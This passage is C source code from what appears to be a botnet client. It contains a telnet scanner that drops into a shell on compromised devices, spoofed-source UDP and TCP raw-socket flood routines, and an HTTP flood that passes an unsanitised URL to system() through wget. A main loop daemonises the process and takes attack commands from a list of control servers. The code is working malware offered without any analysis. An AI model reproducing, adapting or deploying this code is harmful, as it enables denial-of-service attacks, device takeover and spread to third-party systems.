	 					if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					}
					else if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
	 					if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					}
					else if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
					{
						fds[i].totalTimeout = 0;
						fds[i].bufUsed = 0;
						if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
	 					if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
						else fds[i].state = 7;
						memset(fds[i].sockbuf, 0, 1024);
						continue;
					} else {
						fds[i].bufUsed = strlen(fds[i].sockbuf);
					}

					if(fds[i].totalTimeout + 10 < time(NULL))
					{
						sclose(fds[i].fd);
						fds[i].state = 0;
						fds[i].complete = 1;
					}
				}
				break;

			case 7:
				{
					if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
					fds[i].state = 8;
				}
				break;
			
			case 8:
				{
					if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
                    
					if(send(fds[i].fd, "\r\n", 205, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
					
					if(fds[i].totalTimeout + 10 < time(NULL))
					{
						sclose(fds[i].fd);
						fds[i].state = 0;
						fds[i].complete = 1;
					}
				}
				break;
			}
		}
	}
}

void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
{
	struct sockaddr_in dest_addr;

	dest_addr.sin_family = AF_INET;
	if(port == 0) dest_addr.sin_port = rand_cmwc();
	else dest_addr.sin_port = htons(port);
	if(getHost(target, &dest_addr.sin_addr)) return;
	memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

	register unsigned int pollRegister;
	pollRegister = pollinterval;

	if(spoofit == 32)
	{
		int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
		if(!sockfd)
		{
			sockprintf(mainCommSock, "Failed opening raw socket.");
			return;
		}

		unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
		if(buf == NULL) return;
		memset(buf, 0, packetsize + 1);
		makeRandomStr(buf, packetsize);

		int end = time(NULL) + timeEnd;
		register unsigned int i = 0;
		while(1)
		{
			sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

			if(i == pollRegister)
			{
				if(port == 0) dest_addr.sin_port = rand_cmwc();
				if(time(NULL) > end) break;
				i = 0;
				continue;
			}
			i++;
		}
	} else {
		int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
		if(!sockfd)
		{
			sockprintf(mainCommSock, "Failed opening raw socket.");
			return;
		}

		int tmp = 1;
		if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
		{
			sockprintf(mainCommSock, "Failed setting raw headers mode.");
			return;
		}

		int counter = 50;
		while(counter--)
		{
			srand(time(NULL) ^ rand_cmwc());
			init_rand(rand());
		}

		in_addr_t netmask;

		if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
		else netmask = ( ~((1 << (32 - spoofit)) - 1) );

		unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
		struct iphdr *iph = (struct iphdr *)packet;
		struct udphdr *udph = (void *)iph + sizeof(struct iphdr);

		makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);

		udph->len = htons(sizeof(struct udphdr) + packetsize);
		udph->source = rand_cmwc();
		udph->dest = (port == 0 ? rand_cmwc() : htons(port));
		udph->check = 0;

		makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);

		iph->check = csum ((unsigned short *) packet, iph->tot_len);

		int end = time(NULL) + timeEnd;
		register unsigned int i = 0;
		while(1)
		{
			sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

			udph->source = rand_cmwc();
			udph->dest = (port == 0 ? rand_cmwc() : htons(port));
			iph->id = rand_cmwc();
			iph->saddr = htonl( getRandomIP(netmask) );
			iph->check = csum ((unsigned short *) packet, iph->tot_len);

			if(i == pollRegister)
			{
				if(time(NULL) > end) break;
				i = 0;
				continue;
			}
			i++;
		}
	}
}

void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
{
	register unsigned int pollRegister;
	pollRegister = pollinterval;

	struct sockaddr_in dest_addr;

	dest_addr.sin_family = AF_INET;
	if(port == 0) dest_addr.sin_port = rand_cmwc();
	else dest_addr.sin_port = htons(port);
	if(getHost(target, &dest_addr.sin_addr)) return;
	memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);

	int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if(!sockfd)
	{
		sockprintf(mainCommSock, "Failed opening raw socket.");
		return;
	}

	int tmp = 1;
	if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
	{
		sockprintf(mainCommSock, "Failed setting raw headers mode.");
		return;
	}

	in_addr_t netmask;

	if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
	else netmask = ( ~((1 << (32 - spoofit)) - 1) );

	unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
	struct iphdr *iph = (struct iphdr *)packet;
	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);

	makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);

	tcph->source = rand_cmwc();
	tcph->seq = rand_cmwc();
	tcph->ack_seq = 0;
	tcph->doff = 5;

	if(!strcmp(flags, "all"))
	{
		tcph->syn = 1;
		tcph->rst = 1;
		tcph->fin = 1;
		tcph->ack = 1;
		tcph->psh = 1;
	} else {
		unsigned char *pch = strtok(flags, ",");
		while(pch)
		{
			if(!strcmp(pch,         "syn"))
			{
				tcph->syn = 1;
			} else if(!strcmp(pch,  "rst"))
			{
				tcph->rst = 1;
			} else if(!strcmp(pch,  "fin"))
			{
				tcph->fin = 1;
			} else if(!strcmp(pch,  "ack"))
			{
				tcph->ack = 1;
			} else if(!strcmp(pch,  "psh"))
			{
				tcph->psh = 1;
			} else {
				sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
			}
			pch = strtok(NULL, ",");
		}
	}

	tcph->window = rand_cmwc();
	tcph->check = 0;
	tcph->urg_ptr = 0;
	tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
	tcph->check = tcpcsum(iph, tcph);

	iph->check = csum ((unsigned short *) packet, iph->tot_len);

	int end = time(NULL) + timeEnd;
	register unsigned int i = 0;
	while(1)
	{
		sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

		iph->saddr = htonl( getRandomIP(netmask) );
		iph->id = rand_cmwc();
		tcph->seq = rand_cmwc();
		tcph->source = rand_cmwc();
		tcph->check = 0;
		tcph->check = tcpcsum(iph, tcph);
		iph->check = csum ((unsigned short *) packet, iph->tot_len);

		if(i == pollRegister)
		{
			if(time(NULL) > end) break;
			i = 0;
			continue;
		}
		i++;
	}
}

void sendHTTP(unsigned char *url, int end_time)
{
 int end = time(NULL) + end_time;
 FILE *pf;
    char command[80];
    sprintf(command, "wget -O /tmp/fff ");
	strcat(command, url);
	strcat(command, " > /dev/null ");
    pf = popen(command,"r");
	while(end > time(NULL))
	{
	system(command);
	}
}

void processCmd(int argc, unsigned char *argv[])
{
	if(!strcmp(argv[0], "PING"))
	{
		sockprintf(mainCommSock, "PONG!");
		return;
	}

	if(!strcmp(argv[0], "GETLOCALIP"))
	{
		sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
		return;
	}

	if(!strcmp(argv[0], "SCANNER"))
	{
		if(argc != 2)
		{
			sockprintf(mainCommSock, "SCANNER ON | OFF");
			return;
		}

		if(!strcmp(argv[1], "OFF"))
		{
			if(scanPid == 0) return;
			printf("d0rk\n");
			kill(scanPid, 9);
			scanPid = 0;
		}

		if(!strcmp(argv[1], "ON"))
		{
			if(scanPid != 0) return;
			uint32_t parent;
			parent = fork();
			printf("f0rk\n");
			if (parent > 0) { scanPid = parent; return;}
			else if(parent == -1) return;

			TelnetScan(1);
			_exit(0);
		}
	}
	
	if(!strcmp(argv[0], "HTTP"))
	{
	if(argc < 3 || atoi(argv[2]) < 1)
	{
	return;
	}

	unsigned char *ip = argv[1];
	int time = atoi(argv[2]);

	if(strstr(ip, ",") != NULL)
	{
	unsigned char *hi = strtok(ip, ",");
	while(hi != NULL)
	{
    if(!listFork())
    {
     sendHTTP(ip, time);
     close(mainCommSock);
     _exit(0);
    }
    hi = strtok(NULL, ",");
	}
	} else {
	if (listFork()) { return; }

	sendHTTP(ip, time);
	close(mainCommSock);

	_exit(0);
	}
	}

	if(!strcmp(argv[0], "UDP"))
	{
		if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
		{
			//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
			return;
		}

		unsigned char *ip = argv[1];
		int port = atoi(argv[2]);
		int time = atoi(argv[3]);
		int spoofed = atoi(argv[4]);
		int packetsize = atoi(argv[5]);
		int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);

		if(strstr(ip, ",") != NULL)
		{
			unsigned char *hi = strtok(ip, ",");
			while(hi != NULL)
			{
				if(!listFork())
				{
					sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
					close(mainCommSock);
					_exit(0);
				}
				hi = strtok(NULL, ",");
			}
		} else {
			if (listFork()) { return; }

			sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
			close(mainCommSock);

			_exit(0);
		}
	}

	if(!strcmp(argv[0], "TCP"))
	{
		if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
		{
			//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
			return;
		}

		unsigned char *ip = argv[1];
		int port = atoi(argv[2]);
		int time = atoi(argv[3]);
		int spoofed = atoi(argv[4]);
		unsigned char *flags = argv[5];

		int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
		int psize = argc > 6 ? atoi(argv[6]) : 0;

		if(strstr(ip, ",") != NULL)
		{
			unsigned char *hi = strtok(ip, ",");
			while(hi != NULL)
			{
				if(!listFork())
				{
					sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
					close(mainCommSock);
					_exit(0);
				}
				hi = strtok(NULL, ",");
			}
		} else {
			if (listFork()) { return; }

			sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
			close(mainCommSock);

			_exit(0);
		}
	}

	if(!strcmp(argv[0], "STOP"))
	{
		int killed = 0;
		unsigned long i;
		for (i = 0; i < numpids; i++) {
			if (pids[i] != 0 && pids[i] != getpid()) {
				kill(pids[i], 9);
				killed++;
			}
		}

		if(killed > 0)
		{
			sockprintf(mainCommSock, "Killed %d.", killed);
		} else {
			sockprintf(mainCommSock, "None Killed.");
		}
	}

	if(!strcmp(argv[0], "LUCKYLILDUDE"))
	{
		exit(0);
	}
}

int initConnection()
{
	unsigned char server[512];
	memset(server, 0, 512);
	if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
	if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
	else currentServer++;

	strcpy(server, commServer[currentServer]);
	int port = 46;
	if(strchr(server, ':') != NULL)
	{
		port = atoi(strchr(server, ':') + 1);
		*((unsigned char *)(strchr(server, ':'))) = 0x0;
	}

	mainCommSock = socket(AF_INET, SOCK_STREAM, 0);

	if(!connectTimeout(mainCommSock, server, port, 30)) return 1;

	return 0;
}

int getOurIP()
{
	int sock = socket(AF_INET, SOCK_DGRAM, 0);
	if(sock == -1) return 0;

	struct sockaddr_in serv;
	memset(&serv, 0, sizeof(serv));
	serv.sin_family = AF_INET;
	serv.sin_addr.s_addr = inet_addr("8.8.8.8");
	serv.sin_port = htons(53);

	int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
	if(err == -1) return 0;

	struct sockaddr_in name;
	socklen_t namelen = sizeof(name);
	err = getsockname(sock, (struct sockaddr*) &name, &namelen);
	if(err == -1) return 0;

	ourIP.s_addr = name.sin_addr.s_addr;

	int cmdline = open("/proc/net/route", O_RDONLY);
	char linebuf[4096];
	while(fdgets(linebuf, 4096, cmdline) != NULL)
	{
		if(strstr(linebuf, "\t00000000\t") != NULL)
		{
			unsigned char *pos = linebuf;
			while(*pos != '\t') pos++;
			*pos = 0;
			break;
		}
		memset(linebuf, 0, 4096);
	}
	close(cmdline);

	if(*linebuf)
	{
		int i;
		struct ifreq ifr;
		strcpy(ifr.ifr_name, linebuf);
		ioctl(sock, SIOCGIFHWADDR, &ifr);
		for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
	}

	close(sock);
}

int main(int argc, unsigned char *argv[])
{
	if(SERVER_LIST_SIZE <= 0) return 0;

	srand(time(NULL) ^ getpid());
	init_rand(time(NULL) ^ getpid());

	pid_t pid1;
	pid_t pid2;
	int status;

	getOurIP();

	if (pid1 = fork()) {
			waitpid(pid1, &status, 0);
			exit(0);
	} else if (!pid1) {
			if (pid2 = fork()) {
					exit(0);
			} else if (!pid2) {
			} else {
					zprintf("fork failed\n");
			}
	} else {
			zprintf("fork failed\n");
	}

	setsid();
	chdir("/");

	signal(SIGPIPE, SIG_IGN);

	while(1)
	{
		if(initConnection()) { printf("Failed to connect...\n"); sleep(5); continue; }

		char commBuf[4096];
		int got = 0;
		int i = 0;
		while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
		{
			for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
				unsigned int *newpids, on;
				for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
				pids[on - 1] = 0;
				numpids--;
				newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
				for (on = 0; on < numpids; on++) newpids[on] = pids[on];
				free(pids);
				pids = newpids;
			}

			commBuf[got] = 0x00;

			trim(commBuf);

			if(strstr(commBuf, "PING") == commBuf)
			{
				sockprintf(mainCommSock, "PONG");
				continue;
			}

			if(strstr(commBuf, "DUP") == commBuf) exit(0);

			unsigned char *message = commBuf;

			if(*message == '!')
			{
				unsigned char *nickMask = message + 1;
				while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
				if(*nickMask == 0x00) continue;
				*(nickMask) = 0x00;
				nickMask = message + 1;

				message = message + strlen(nickMask) + 2;
				while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;

				unsigned char *command = message;
				while(*message != ' ' && *message != 0x00) message++;
				*message = 0x00;
				message++;

				unsigned char *tmpcommand = command;
				while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }

				unsigned char *params[10];
				int paramsCount = 1;
				unsigned char *pch = strtok(message, " ");
				params[0] = command;

				while(pch)
				{
					if(*pch != '\n')
					{
						params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
						memset(params[paramsCount], 0, strlen(pch) + 1);
						strcpy(params[paramsCount], pch);
						paramsCount++;
					}
					pch = strtok(NULL, " ");
				}

				processCmd(paramsCount, params);

				if(paramsCount > 1)
				{
					int q = 1;
					for(q = 1; q < paramsCount; q++)
					{
						free(params[q]);
					}
				}
			}
		}
		printf("Link closed by server.\n");
	}

	return 0;

}